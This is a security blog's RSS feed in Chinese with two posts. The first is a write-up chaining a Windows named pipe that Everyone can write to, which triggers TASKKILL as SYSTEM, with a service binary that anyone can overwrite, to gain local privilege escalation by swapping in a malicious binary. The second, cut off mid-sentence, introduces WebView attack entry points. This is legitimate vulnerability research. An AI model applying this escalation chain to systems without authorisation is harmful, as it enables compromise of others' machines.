{"@attributes":{"version":"2.0"},"channel":{"title":"Chen's Blog","description":"Chen's Blog\uff0c\u5206\u4eab\u5b89\u5168\u9886\u57df\u7684\u6240\u601d\u3001\u6240\u60f3\u3001\u6240\u5b66\u3002","link":"https:\/\/gh0st.cn","item":[{"title":"\u63d0\u6743\u5b9e\u5f55\uff1a\u901a\u8fc7\u547d\u540d\u7ba1\u9053\u52ab\u6301\u53ef\u5199\u670d\u52a1","description":"<h1 id=\"\u63d0\u6743\u5b9e\u5f55\u901a\u8fc7\u547d\u540d\u7ba1\u9053\u52ab\u6301\u53ef\u5199\u670d\u52a1\">\u63d0\u6743\u5b9e\u5f55\uff1a\u901a\u8fc7\u547d\u540d\u7ba1\u9053\u52ab\u6301\u53ef\u5199\u670d\u52a1<\/h1>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u5728\u5206\u6790\u67d0 Windows \u5e94\u7528\u7684\u670d\u52a1\u7ec4\u4ef6\u65f6\uff0c\u53d1\u73b0\u5176\u521b\u5efa\u7684\u547d\u540d\u7ba1\u9053\u8bbf\u95ee\u63a7\u5236\u914d\u7f6e\u5bbd\u677e\uff0c\u5141\u8bb8\u4f4e\u6743\u9650\u7528\u6237\u8fde\u63a5\u5e76\u53d1\u9001\u6307\u4ee4\uff0c\u4ece\u800c\u89e6\u53d1\u9ad8\u6743\u9650\u7684\u7ec8\u6b62\u4efb\u610f\u8fdb\u7a0b\u64cd\u4f5c\uff08<code>taskkill<\/code>\uff09\u3002\u8fdb\u4e00\u6b65\u5206\u6790\u53d1\u73b0\uff0c\u88ab\u7ec8\u6b62\u7684\u670d\u52a1\u4f1a\u81ea\u52a8\u91cd\u542f\uff0c\u800c\u5176\u53ef\u6267\u884c\u6587\u4ef6\u7684\u6743\u9650\u914d\u7f6e\u9519\u8bef\uff0c\u5141\u8bb8 Everyone \u7ec4\u8bfb\u5199\u3002\u7ed3\u5408\u8fd9\u4e24\u4e2a\u7f3a\u9677\uff0c\u53ef\u6784\u9020\u4e00\u6761\u5b8c\u6574\u7684\u672c\u5730\u63d0\u6743\u5229\u7528\u94fe\u3002<\/p>\n\n<h2 id=\"\u6f0f\u6d1e\u6316\u6398\u8fc7\u7a0b\">\u6f0f\u6d1e\u6316\u6398\u8fc7\u7a0b<\/h2>\n\n<h3 id=\"\u547d\u540d\u7ba1\u9053\">\u547d\u540d\u7ba1\u9053<\/h3>\n\n<h4 id=\"\u5173\u4e8e\u547d\u540d\u7ba1\u9053\">\u5173\u4e8e\u547d\u540d\u7ba1\u9053<\/h4>\n\n<p>\u547d\u540d\u7ba1\u9053\uff08Named Pipe\uff09\u662f Windows \u64cd\u4f5c\u7cfb\u7edf\u63d0\u4f9b\u7684\u4e00\u79cd\u8fdb\u7a0b\u95f4\u901a\u4fe1\uff08IPC\uff09\u673a\u5236\uff0c\u5141\u8bb8\u4e0d\u540c\u8fdb\u7a0b\uff08\u5305\u62ec\u8de8\u4f1a\u8bdd\u3001\u8de8\u6743\u9650\u7ea7\u522b\uff09\u901a\u8fc7\u4e00\u4e2a\u5e26\u540d\u79f0\u7684\u7ba1\u9053\u8fdb\u884c\u53cc\u5411\u6216\u5355\u5411\u6570\u636e\u4ea4\u6362\u3002\u547d\u540d\u7ba1\u9053\u5177\u6709\u5168\u5c40\u53ef\u89c1\u7684\u540d\u79f0\uff08\u901a\u5e38\u4f4d\u4e8e <code>\\pipe\\<\/code> \u547d\u540d\u7a7a\u95f4\u4e0b\uff0c\u5982 <code>\\\\.\\pipe\\KeyServicePipe<\/code>\uff09\uff0c\u652f\u6301\u591a\u5ba2\u6237\u7aef\u8fde\u63a5\uff0c\u5e76\u53ef\u901a\u8fc7\u5b89\u5168\u63cf\u8ff0\u7b26\uff08Security Descriptor\uff09 \u8bbe\u7f6e\u8bbf\u95ee\u63a7\u5236\u5217\u8868\uff08ACL\uff09\uff0c\u4ee5\u9650\u5236\u54ea\u4e9b\u7528\u6237\u6216\u7ec4\u53ef\u4ee5\u8bfb\u53d6\u3001\u5199\u5165\u6216\u521b\u5efa\u8fde\u63a5\u3002<\/p>\n\n<p>\u547d\u540d\u7ba1\u9053\u5e38\u88ab\u7528\u4f5c\u9ad8\u6743\u9650\u670d\u52a1\u4e0e\u4f4e\u6743\u9650\u5ba2\u6237\u7aef\u4e4b\u95f4\u7684\u901a\u4fe1\u901a\u9053\u3002\u7136\u800c\uff0c\u82e5\u5f00\u53d1\u8005\u672a\u6b63\u786e\u914d\u7f6e\u7ba1\u9053\u7684 ACL\uff08\u4f8b\u5982\u5141\u8bb8 Everyone \u6216 Authenticated Users \u5177\u6709\u5199\u6743\u9650\uff09\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u4f5c\u4e3a\u5ba2\u6237\u7aef\u5411\u670d\u52a1\u7aef\u53d1\u9001\u6d88\u606f\uff0c\u4ece\u800c\u4f7f\u5f97\u670d\u52a1\u6267\u884c\u654f\u611f\u64cd\u4f5c\uff08\u5982\u542f\u52a8\/\u7ec8\u6b62\u8fdb\u7a0b\u3001\u8bfb\u53d6\u6587\u4ef6\u7b49\uff09\uff0c\u4ee5\u6b64\u6784\u6210\u6743\u9650\u63d0\u5347\u6216\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7684\u98ce\u9669\u3002<\/p>\n\n<h4 id=\"\u53d1\u73b0\u547d\u540d\u7ba1\u9053\">\u53d1\u73b0\u547d\u540d\u7ba1\u9053<\/h4>\n\n<p>\u53d1\u73b0\u547d\u540d\u7ba1\u9053\u53ca\u67e5\u770b\u5176\u5bf9\u5e94\u7684 ACL \u7b56\u7565\u53ef\u4ee5\u501f\u52a9 <a href=\"https:\/\/learn.microsoft.com\/en-us\/sysinternals\/downloads\/sysinternals-suite\">Sysinternals Suite<\/a> \u5185\u7684 <code>pipelist<\/code> \u548c <code>accesschk<\/code>\u3002\u8fd9\u91cc <a href=\"https:\/\/github.com\/0cat-r\">0cat<\/a> \u5411\u6211\u63a8\u8350\u4e86\u4e00\u6b3e\u53ef\u89c6\u5316\u53cb\u597d\u7684\u5de5\u5177\uff1a<a href=\"https:\/\/github.com\/sensepost\/pipetap\">Pipetap<\/a>\u3002\u901a\u8fc7\u67e5\u770b <code>Pipelist<\/code> \u53d1\u73b0\u5b58\u5728\u4e00\u4e2a ACL \u7b56\u7565\u4e3a Everyone \u53ef\u5199\u7684\u547d\u540d\u7ba1\u9053\uff1a<code>KeyServicePipe<\/code>\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/CleanShot%202026-01-04%20at%2016.11.27@2x.png\" alt=\"CleanShot 2026-01-04 at 16.11.27@2x\" \/><\/p>\n\n<p>\u8be5\u547d\u540d\u7ba1\u9053\u5bf9\u5e94\u7684\u8fdb\u7a0b\u4e5f\u662f\u4ee5 <code>System<\/code> \u6743\u9650\u8fd0\u884c\u7740\uff0c\u5b8c\u5168\u7b26\u5408\u6211\u4eec\u6316\u6398\u63d0\u6743\u7684\u6761\u4ef6\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/CleanShot%202026-01-12%20at%2019.44.25@2x.png\" alt=\"CleanShot 2026-01-12 at 19.44.25@2x\" \/><\/p>\n\n<h4 id=\"\u8fdb\u7a0b\u7ec8\u6b62\u903b\u8f91\">\u8fdb\u7a0b\u7ec8\u6b62\u903b\u8f91<\/h4>\n\n<p>\u6839\u636e\u547d\u540d\u7ba1\u9053\u670d\u52a1\u8fdb\u7a0b\u5b9a\u4f4d\u5230\u5176\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u63a5\u7740\u901a\u8fc7 IDA \u8fdb\u884c<a href=\"https:\/\/github.com\/gh0stkey\/FuncExporter\">\u4e00\u952e\u5bfc\u51fa\u53cd\u7f16\u8bd1\u4ee3\u7801<\/a>\u3002\u914d\u5408\u7740 AI \u8fdb\u884c\u5206\u6790\uff0c\u5f88\u5bb9\u6613\u5c31\u5b9a\u4f4d\u5230\u76f8\u5173\u4fe1\u606f\u3002<\/p>\n\n<p>\u9996\u5148\u662f\u5165\u53e3\u63a5\u6536\u5230\u4fe1\u606f\u5e76\u6839\u636e\u4e0d\u540c\u7684\u504f\u79fb\u91cf\u89e3\u6790\u5ba2\u6237\u7aef\u6240\u53d1\u9001\u8fc7\u6765\u7684\u6d88\u606f\uff0c\u6839\u636e\u8fd9\u4e9b\u504f\u79fb\u91cf\u5f97\u77e5\u6d88\u606f\u5305\u542b 2 \u4e2a\u90e8\u5206\uff1a\u6d88\u606f\u5934\u548c\u6d88\u606f\u4f53\uff0c\u6d88\u606f\u5934\u4e3a 12 \u4e2a\u5b57\u8282\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/CleanShot%202026-01-12%20at%2016.20.29@2x.png\" alt=\"CleanShot 2026-01-12 at 16.20.29@2x\" \/><\/p>\n\n<p>\u5176\u6b21\u662f\u6d88\u606f\u5934\u7684\u903b\u8f91\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u89c1\u5176\u6709\u4e09\u4e2a\u90e8\u5206\uff0c\u6bcf\u4e2a\u90e8\u5206\u521a\u597d 4 \u5b57\u8282\uff08DWORD\uff09\u3002\u4e09\u4e2a\u90e8\u5206\u5206\u522b\u4e3a\uff1a\u4f1a\u8bdd ID\u3001\u6d88\u606f\u7c7b\u578b\u3001\u6d88\u606f\u4f53\u957f\u5ea6\u3002\u8fd9\u4e9b\u4fe1\u606f\u4e5f\u662f\u57fa\u4e8e\u540e\u7eed\u7684\u8c03\u8bd5\u8f93\u51fa\u6240\u5f97\u77e5\u3002\u8bfb\u5230\u6d88\u606f\u7c7b\u578b\u540e\uff0c\u4f1a\u5224\u65ad\u6d88\u606f\u7c7b\u578b\u7684\u8303\u56f4\u5fc5\u987b\u5728 1-37 \u4e4b\u95f4\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/CleanShot%202026-01-12%20at%2016.23.31@2x.png\" alt=\"CleanShot 2026-01-12 at 16.23.31@2x\" \/><\/p>\n\n<p>\u6700\u540e\u5c31\u8fdb\u5165\u6d88\u606f\u5206\u53d1\uff0c\u6839\u636e\u4e0d\u540c\u7684\u6d88\u606f\u7c7b\u578b\u8fdb\u884c\u5206\u53d1\u3002\u4e0d\u540c\u7684\u6d88\u606f\u7c7b\u578b\u5bf9\u5e94\u4e0d\u540c\u7684\u5904\u7406\u903b\u8f91\uff0c\u5728\u8fd9\u91cc\u5b9e\u9645\u4e0a\u8e29\u4e86\u4e2a\u5751\uff0c\u6b63\u5e38\u8ddf\u8fdb\u5411\u4e0b\u7684\u903b\u8f91 Map \u5bfb\u627e\uff0c\u800c\u5b9e\u9645\u4e0a\u5728\u670d\u52a1\u521b\u5efa\u7684\u6784\u9020\u51fd\u6570\u5185\u5c31\u5df2\u7ecf\u5b9a\u4e49\u597d\u4e86\uff1a<code>sub_424FF0(v5, \u6d88\u606f\u7c7b\u578b, \u6d88\u606f\u5904\u7406\u51fd\u6570)<\/code>\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/CleanShot%202026-01-12%20at%2017.01.45@2x.png\" alt=\"CleanShot 2026-01-12 at 17.01.45@2x\" \/><\/p>\n\n<p>\u5173\u952e\u95ee\u9898\u903b\u8f91\u5c31\u662f\u5176\u4f5c\u4e3a\u547d\u540d\u7ba1\u9053\u670d\u52a1\u7aef\u6709\u4e00\u4e2a\u6d88\u606f\u63a5\u6536\u5206\u53d1\u673a\u5236\uff0c\u6839\u636e\u6d88\u606f\u7c7b\u578b\u6765\u8fdb\u884c\u6d88\u606f\u7684\u5206\u53d1\u3002\u5982\u56fe\u6240\u793a\uff0c\u5f53\u6d88\u606f\u7c7b\u578b\u4e3a <code>24<\/code> \u65f6\u5219\u8fdb\u5165\u6d88\u606f\u8fdb\u5165 <code>sub_4216B0<\/code> \u51fd\u6570\u5904\u7406\u3002<\/p>\n\n<p>\u5728 <code>sub_4216B0<\/code> \u51fd\u6570\u5185\u672c\u8d28\u4e0a\u5c31\u662f\u83b7\u53d6\u6d88\u606f\u4f53\u8fdb\u884c\u5904\u7406\uff0c\u6700\u91cd\u8981\u7684\u5c31\u884c\u6d88\u606f\u4f53\u7684 <code>+4<\/code> \u5b57\u8282\u504f\u79fb\u4f4d\uff0c\u5176\u4e3a PID\uff08\u8fd9\u91cc\u505a\u4e86\u5f3a\u8f6c\u6362\uff0c\u56e0\u6b64\u65e0\u6cd5\u8fdb\u884c\u547d\u4ee4\u6ce8\u5165\uff09\u3002PID \u9996\u5148\u7528\u4e8e <code>TASKLIST<\/code> \u547d\u4ee4\u8fdb\u884c\u547d\u4ee4\u67e5\u627e\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/CleanShot%202026-01-12%20at%2019.25.22@2x.png\" alt=\"CleanShot 2026-01-12 at 19.25.22@2x\" \/><\/p>\n\n<p>\u53ea\u6709\u5f53\u6307\u5b9a\u7684 PID \u8fdb\u7a0b\u5b58\u5728\u65f6\u624d\u4f1a\u63a5\u7740\u5411\u4e0b\u8d70\uff0c\u8d70\u5230 <code>TASKKILL<\/code> \u547d\u4ee4\uff0c\u6839\u636e PID \u5f3a\u5236\u5173\u95ed\u8fdb\u7a0b\u3002\u81f3\u6b64\uff0c\u6211\u4eec\u5c31\u53d1\u73b0\u4e86\u4e00\u6761\u4f4e\u6743\u9650\u8fdb\u7a0b\u901a\u8fc7\u547d\u540d\u7ba1\u9053\u4ee5 <code>System<\/code> \u6743\u9650\u8fdb\u884c <code>TASKKILL<\/code> \u4efb\u610f\u8fdb\u7a0b\u7684\u8def\u5f84\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/CleanShot%202026-01-12%20at%2019.39.38@2x.png\" alt=\"CleanShot 2026-01-12 at 19.39.38@2x\" \/><\/p>\n\n<h3 id=\"\u7cfb\u7edf\u670d\u52a1\">\u7cfb\u7edf\u670d\u52a1<\/h3>\n\n<h4 id=\"\u5173\u4e8e\u7cfb\u7edf\u670d\u52a1\">\u5173\u4e8e\u7cfb\u7edf\u670d\u52a1<\/h4>\n\n<p>Windows \u670d\u52a1\uff08Windows Service\uff09\u662f Windows \u64cd\u4f5c\u7cfb\u7edf\u4e2d\u4e00\u79cd\u5728\u540e\u53f0\u6301\u7eed\u8fd0\u884c\u7684\u7a0b\u5e8f\uff0c\u65e0\u9700\u7528\u6237\u4ea4\u4e92\u5373\u53ef\u6267\u884c\u7279\u5b9a\u4efb\u52a1\u3002\u5982\u679c\u670d\u52a1\u5728\u914d\u7f6e\u65f6\u6ca1\u6709\u505a\u597d\u6743\u9650\u7684 ACL \u914d\u7f6e\u5219\u4f1a\u5bfc\u81f4\u4e09\u7c7b\u98ce\u9669\uff1a\u53ef\u4fee\u6539\u670d\u52a1\u4e8c\u8fdb\u5236\u6587\u4ef6\u3001\u53ef\u4fee\u6539\u670d\u52a1\u6ce8\u518c\u8868\u9879\u3001\u53ef\u4fee\u6539\u670d\u52a1\u672c\u8eab\uff0c\u6613\u88ab\u653b\u51fb\u8005\u5229\u7528\u5b9e\u73b0\u672c\u5730\u6743\u9650\u63d0\u5347\u6216\u6076\u610f\u7be1\u6539\u670d\u52a1\u914d\u7f6e\u4e0e\u8fd0\u884c\u903b\u8f91\u3002<\/p>\n\n<h4 id=\"\u53ef\u4fee\u6539\u670d\u52a1\u4e8c\u8fdb\u5236\u6587\u4ef6\">\u53ef\u4fee\u6539\u670d\u52a1\u4e8c\u8fdb\u5236\u6587\u4ef6<\/h4>\n\n<p>\u8fd9\u91cc\u76f4\u63a5\u501f\u52a9 <a href=\"https:\/\/github.com\/GhostPack\/SharpUp\">SharpUp<\/a> \u6765\u8fdb\u884c\u4e00\u952e\u5206\u6790\uff1a<code>SharpUp.exe check ModifiableServiceBinaries<\/code>\u3002\u53d1\u73b0\u6709\u5f88\u591a\u670d\u52a1\u7684\u53ef\u6267\u884c\u6587\u4ef6\u662f\u53ef\u4ee5\u4fee\u6539\u7684\uff0c\u4f46\u662f\u8981\u914d\u5408\u653b\u51fb\u94fe\u8def\uff0c\u5c31\u9700\u8981\u6ee1\u8db3\u88ab <code>TASKKILL<\/code> \u5f3a\u5236\u7ec8\u6b62\u8fdb\u7a0b\u540e\uff0c\u8fd8\u4f1a\u81ea\u52a8\u91cd\u542f\u7684\u3002\u8fd9\u91cc\u6d4b\u8bd5\u51fa\u6765\u53d1\u73b0 <code>KeyAgent<\/code> \u670d\u52a1\u6ee1\u8db3\u8fd9\u4e00\u903b\u8f91\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/CleanShot%202026-01-12%20at%2019.49.29@2x.png\" alt=\"CleanShot 2026-01-12 at 19.49.29@2x\" \/><\/p>\n\n<h2 id=\"\u5229\u7528\u94fe\u6784\u5efa\">\u5229\u7528\u94fe\u6784\u5efa<\/h2>\n\n<p>\u5229\u7528\u94fe\u6784\u5efa\u6bd4\u8f83\u7b80\u5355\uff0c\u5148\u542f\u52a8\u72ec\u7acb\u7684\u7ebf\u7a0b\u4e0d\u65ad\u7684\u5faa\u73af\u5c1d\u8bd5\u5c06\u6076\u610f\u6587\u4ef6 <code>EvilAgent.exe<\/code> \u66ff\u6362\u76ee\u6807\u670d\u52a1\u7684\u5408\u6cd5\u53ef\u6267\u884c\u6587\u4ef6 <code>KeyAgent.exe<\/code>\uff0c\u540c\u65f6\u4f5c\u4e3a\u5ba2\u6237\u7aef\u8fde\u63a5\u547d\u540d\u7ba1\u9053 <code>\\\\.\\pipe\\KeyServicePipe<\/code> \u5e76\u53d1\u9001\u6784\u9020\u597d\u7684 KillProcess \u6d88\u606f\u89e6\u53d1\u547d\u540d\u7ba1\u9053\u670d\u52a1\u8fdb\u7a0b\u6267\u884c <code>TASKKILL<\/code> \u547d\u4ee4\u7ec8\u6b62 <code>KeyAgent.exe<\/code> \u8fdb\u7a0b\uff0c\u6700\u540e\u501f\u52a9 <code>KeyAgent.exe<\/code> \u670d\u52a1\u81ea\u52a8\u91cd\u542f\u7279\u6027\u52a0\u8f7d\u6076\u610f\u6587\u4ef6\uff0c\u5b8c\u6210\u672c\u5730\u6743\u9650\u63d0\u5347\u7684\u5229\u7528\u94fe\u6784\u5efa\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/mermaid-diagram-2026-01-12-203558.png\" alt=\"mermaid-diagram-2026-01-12-203558\" \/><\/p>\n\n<p><code>EvilAgent.exe<\/code> \u662f <a href=\"https:\/\/github.com\/Rvn0xsy\/SystemGap\">SystemGap<\/a> \u9879\u76ee\u91cc\u7684 <code>SystemGapAll<\/code>\u3002\u5176\u540c\u6837\u4e5f\u501f\u52a9\u547d\u540d\u7ba1\u9053\u5b9e\u73b0\u9ad8\u4f4e\u6743\u9650\u8fdb\u7a0b\u95f4\u7684\u901a\u4fe1\uff0c\u4f4e\u6743\u9650\u5411\u9ad8\u6743\u9650\u53d1\u9001\u8981\u6267\u884c\u7684\u547d\u4ee4\uff0c\u9ad8\u6743\u9650\u6267\u884c\u5e76\u628a\u7ed3\u679c\u8fd4\u56de\u7ed9\u4f4e\u6743\u9650\u3002<\/p>\n\n<p><img src=\"\/images\/2026-03-16\/4cd75d3600f7dd104be96cb3fd87d56a.png\" alt=\"4cd75d3600f7dd104be96cb3fd87d56a\" \/><\/p>\n\n<h2 id=\"\u603b\u7ed3\">\u603b\u7ed3<\/h2>\n\n<p>\u672c\u63d0\u6743\u5229\u7528\u94fe\u7684\u6210\u529f\u6784\u5efa\uff0c\u5173\u952e\u5728\u4e8e\u547d\u540d\u7ba1\u9053\u8bbf\u95ee\u63a7\u5236\u914d\u7f6e\u4e0d\u5f53\u4e0e\u670d\u52a1\u53ef\u6267\u884c\u6587\u4ef6\u6743\u9650\u914d\u7f6e\u9519\u8bef\u8fd9\u4e24\u4e2a\u7f3a\u9677\u7684\u7ec4\u5408\u5229\u7528\uff0c\u5728\u5b9e\u6218\u8fc7\u7a0b\u4e2d\u53d1\u73b0\u8fd9\u4e5f\u7c7b\u4f3c\u7684\u95ee\u9898\u4e5f\u5f88\u591a\uff0c\u662f\u4e2a\u503c\u5f97\u5173\u6ce8\u7684\u653b\u51fb\u9762\u3002\u6700\u540e\uff0c\u5728\u6b64\u7279\u522b\u611f\u8c22 <a href=\"https:\/\/payloads.online\/\">@\u503e\u65cb<\/a> \u5728\u6f0f\u6d1e\u6316\u6398\u8fc7\u7a0b\u4e2d\u63d0\u4f9b\u7684\u534f\u52a9\u3002<\/p>\n","pubDate":"2026-03-16T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2026-03-16\/1","guid":"https:\/\/gh0st.cn\/archives\/2026-03-16\/1"},{"title":"\u9ed1\u76d2\u89c6\u89d2\u4e0b\u7684 WebView \u6f0f\u6d1e\u9762\u63a2\u7d22","description":"<h1 id=\"\u9ed1\u76d2\u89c6\u89d2\u4e0b\u7684-webview-\u6f0f\u6d1e\u9762\u63a2\u7d22\">\u9ed1\u76d2\u89c6\u89d2\u4e0b\u7684 WebView \u6f0f\u6d1e\u9762\u63a2\u7d22<\/h1>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u672c\u6587\u4e3b\u8981\u8bb0\u5f55\u4e86\u5728\u79fb\u52a8\u7aef\u63a2\u7d22 WebView \u7ec4\u4ef6\u6f0f\u6d1e\u7684\u8fc7\u7a0b\uff0c\u91c7\u7528\u9ed1\u76d2\u89c6\u89d2\uff0c\u6452\u5f03\u590d\u6742\u7e41\u7410\u7684\u5185\u90e8\u903b\u8f91\u5206\u6790\uff0c\u4e13\u6ce8\u4e8e\u5feb\u901f\u4e14\u76f4\u63a5\u7684\u6f0f\u6d1e\u6316\u6398\u65b9\u6cd5\u3002\u7531\u4e8e\u7b14\u8005\u624d\u758f\u5b66\u6d45\uff0c\u56e0\u6b64\u672c\u6587\u96be\u514d\u4f1a\u51fa\u73b0\u4e00\u4e9b\u6587\u7b14\u4e0d\u901a\u6216\u4e13\u4e1a\u89e3\u91ca\u4e0d\u5230\u4f4d\u7684\u60c5\u51b5\uff0c\u8fd8\u671b\u591a\u5305\u6db5\u53ca\u65a7\u6b63\u3002<\/p>\n\n<h2 id=\"webview-\u7ec4\u4ef6\">WebView \u7ec4\u4ef6<\/h2>\n\n<h3 id=\"\u4ecb\u7ecd\">\u4ecb\u7ecd<\/h3>\n\n<p>\u987e\u540d\u601d\u4e49\uff0cWebView \u7ec4\u4ef6\u662f\u7528\u4e8e\u5728\u5e94\u7528\u7a0b\u5e8f\u4e2d\u5d4c\u5165\u548c\u5c55\u793a Web \u5185\u5bb9\u7684\u7cfb\u7edf\u7ec4\u4ef6\u3002\u901a\u8fc7\u8c03\u7528 WebView\uff0c\u5f00\u53d1\u8005\u80fd\u591f\u5b9e\u73b0\u5728\u81ea\u5df1\u7684\u5e94\u7528\u4e2d\u76f4\u63a5\u6e32\u67d3\u7f51\u9875\uff0c\u8fd9\u4ece\u67d0\u79cd\u7a0b\u5ea6\u4e0a\u6781\u5927\u5730\u7b80\u5316\u4e86\u8de8\u5e73\u53f0\u5e94\u7528\u7684\u5f00\u53d1\u6d41\u7a0b\u3002\u5229\u7528 WebView\uff0c\u5f00\u53d1\u8005\u53ea\u9700\u8fdb\u884c\u5c11\u91cf\u9002\u914d\u5de5\u4f5c\uff0c\u5373\u53ef\u5c06\u73b0\u6709\u7684 Web \u5e94\u7528\u65e0\u7f1d\u79fb\u690d\u5230\u79fb\u52a8\u5e94\u7528\u73af\u5883\u4e2d\uff0c\u663e\u8457\u63d0\u5347\u4e86\u5f00\u53d1\u6548\u7387\u548c\u7075\u6d3b\u6027\u3002<\/p>\n\n<h3 id=\"\u573a\u666f\">\u573a\u666f<\/h3>\n\n<p>WebView \u7ec4\u4ef6\u5b9e\u9645\u4e0a\u65e0\u5904\u4e0d\u5728\u3002\u4f8b\u5982\uff0c\u5728\u624b\u673a\u4e0a\u6253\u5f00\u4e00\u4e2a\u5546\u57ce APP \u65f6\uff0c\u5c55\u793a\u7684\u5546\u54c1\u4fe1\u606f\u53ef\u80fd\u672c\u8d28\u4e0a\u5c31\u662f\u901a\u8fc7 WebView \u52a0\u8f7d\u548c\u6e32\u67d3\u7684\u7f51\u9875\u3002\u5728\u8fd9\u4e9b\u5b9e\u9645\u5e94\u7528\u573a\u666f\u4e2d\uff0c\u7528\u6237\u901a\u5e38\u4e0d\u4f1a\u5bdf\u89c9\u5230 WebView \u7684\u5b58\u5728\uff0c\u5e76\u4e14\u6240\u6709\u663e\u793a\u7684\u4fe1\u606f\u53ef\u80fd\u90fd\u662f\u7531 APP \u9884\u5148\u914d\u7f6e\u597d\u7684\u3002<\/p>\n\n<h2 id=\"\u6f0f\u6d1e\u5165\u53e3\">\u6f0f\u6d1e\u5165\u53e3<\/h2>\n\n<p>\u8981\u60f3\u8ba9\u7528\u6237\u624b\u673a\u4e0a\u7684 APP \u8c03\u7528 WebView \u7ec4\u4ef6\u5bf9\u81ea\u5b9a\u4e49\u9875\u9762\u8fdb\u884c\u6e32\u67d3\uff0c\u65b9\u6cd5\u4e3b\u8981\u5206\u4e3a\u4e24\u79cd\uff1a<strong>\u7b2c\u4e00\u7c7b\u662f\u56fd\u5185\u5e38\u89c1\u7684\u4e8c\u7ef4\u7801\u626b\u7801\uff0c\u901a\u8fc7\u626b\u63cf\u4e00\u4e2a\u6307\u5411\u7f51\u9875\u94fe\u63a5\u7684\u4e8c\u7ef4\u7801\uff0c\u4ece\u800c\u76f4\u63a5\u8c03\u7528 WebView \u52a0\u8f7d\u7279\u5b9a\u7f51\u9875\uff1b\u7b2c\u4e8c\u7c7b\u662f APP \u95f4\u7684\u8df3\u8f6c\u8c03\u7528\uff0c\u5373 URL Scheme\uff08\u5728\u5b89\u5353\u4e0a\u4e5f\u79f0\u4e3a Deep Link\uff09\uff0c\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\u53ef\u4ee5\u4ece\u4e00\u4e2a APP \u76f4\u63a5\u8df3\u8f6c\u5230\u53e6\u4e00\u4e2a APP \u4e2d\u7684\u7279\u5b9a\u9875\u9762\uff0c\u800c\u8fd9\u4e2a\u9875\u9762\u540c\u6837\u53ef\u80fd\u662f\u901a\u8fc7 WebView \u6765\u6e32\u67d3\u7684\u3002<\/strong><\/p>\n\n<h3 id=\"\u4e8c\u7ef4\u7801\u626b\u63cf\">\u4e8c\u7ef4\u7801\u626b\u63cf<\/h3>\n\n<p>APP \u4e0a\u7684\u4e8c\u7ef4\u7801\u626b\u7801\u529f\u80fd\u901a\u5e38\u4f5c\u7528\u4e8e\u7528\u6237\u754c\u9762\u7684\u5de6\u53f3\u4e0a\u89d2\uff0c\u5982\u679c\u627e\u4e0d\u5230\u7684\u8bdd\u5219\u53ef\u4ee5\u5728 APP \u7684\u8bbe\u7f6e\u9875\u9762\u4e2d\u627e\u5230\u201c\u626b\u4e00\u626b\u201d\u3001\u201c\u626b\u7801\u201d\u7b49\u5b57\u773c\u5c31\u53ef\u4ee5\u6253\u5f00\u76f8\u5173\u529f\u80fd\u3002<\/p>\n\n<p><img src=\"\/images\/2025-12-26\/0.jpg\" alt=\"\" \/><\/p>\n\n<h3 id=\"url-scheme-\u8df3\u8f6c\">URL Scheme \u8df3\u8f6c<\/h3>\n\n<p>\u5173\u4e8e URL Scheme\uff0c\u5bf9\u4e8e\u6211\u6765\u8bf4\u5c31\u662f\u8001\u719f\u4eba\u4e86\uff0c\u5728 2018 \u5e74\u7684\u65f6\u5019\u5c31\u5728\u535a\u5ba2\u91cc\u6d45\u6d45\u7684\u5206\u4eab\u4e86\u4e00\u4e0b\uff0c\u6709\u5174\u8da3\u53ef\u4ee5\u770b\u4e0b\uff1ahttps:\/\/gh0st.cn\/archives\/2018-12-08\/1\u3002<\/p>\n\n<p>\u8fd9\u91cc\u7b80\u5355\u8bf4\u660e\u4e0b\uff0cURL Scheme \u5b9e\u9645\u4e0a\u662f\u5e94\u7528\u7a0b\u5e8f\u5728\u64cd\u4f5c\u7cfb\u7edf\u5c42\u9762\u6ce8\u518c\u7684\u4e00\u79cd\u81ea\u5b9a\u4e49\u534f\u8bae\u683c\u5f0f\uff0c\u5b83\u5141\u8bb8 APP \u5b9a\u4e49\u7279\u5b9a\u7684\u534f\u8bae\u540d\uff0c\u5e76\u5728 APP \u5185\u5b9a\u4e49\u8def\u7531\u548c\u63a5\u6536\u53c2\u6570\u6765\u5b8c\u6210\u67d0\u4e9b\u529f\u80fd\uff0c\u4e0e\u6211\u4eec\u6240\u7406\u89e3\u7684 HTTP \u534f\u8bae\u5f62\u5f0f\u7684 URL \u5730\u5740\u6ca1\u6709\u4ec0\u4e48\u672c\u8d28\u533a\u522b\u3002\u5f53\u5176\u4ed6\u5e94\u7528\u6216\u6d4f\u89c8\u5668\u5c1d\u8bd5\u901a\u8fc7\u8fd9\u79cd\u81ea\u5b9a\u4e49\u534f\u8bae\u53d1\u8d77\u8bf7\u6c42\u65f6\uff0c\u7cfb\u7edf\u80fd\u591f\u8bc6\u522b\u5e76\u5b9a\u4f4d\u5230\u76f8\u5e94\u7684\u5e94\u7528\u7a0b\u5e8f\uff0c\u7136\u540e\u4f20\u9012\u6240\u8bbf\u95ee\u7684\u529f\u80fd\u8def\u7531\u548c\u53c2\u6570\u4fe1\u606f\u7ed9\u8be5\u5e94\u7528\u8fdb\u884c\u5904\u7406\u3002<\/p>\n\n<p>\u5728 iOS \u548c Android \u4e0a\uff0c\u5bf9\u4e8e URL Scheme \u7684\u652f\u6301\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u4f8b\u5982\u5728 iOS \u4e0a\u7684 Safari \u6d4f\u89c8\u5668\u7684\u5730\u5740\u680f\u4e2d\u76f4\u63a5\u8f93\u5165 URL Scheme 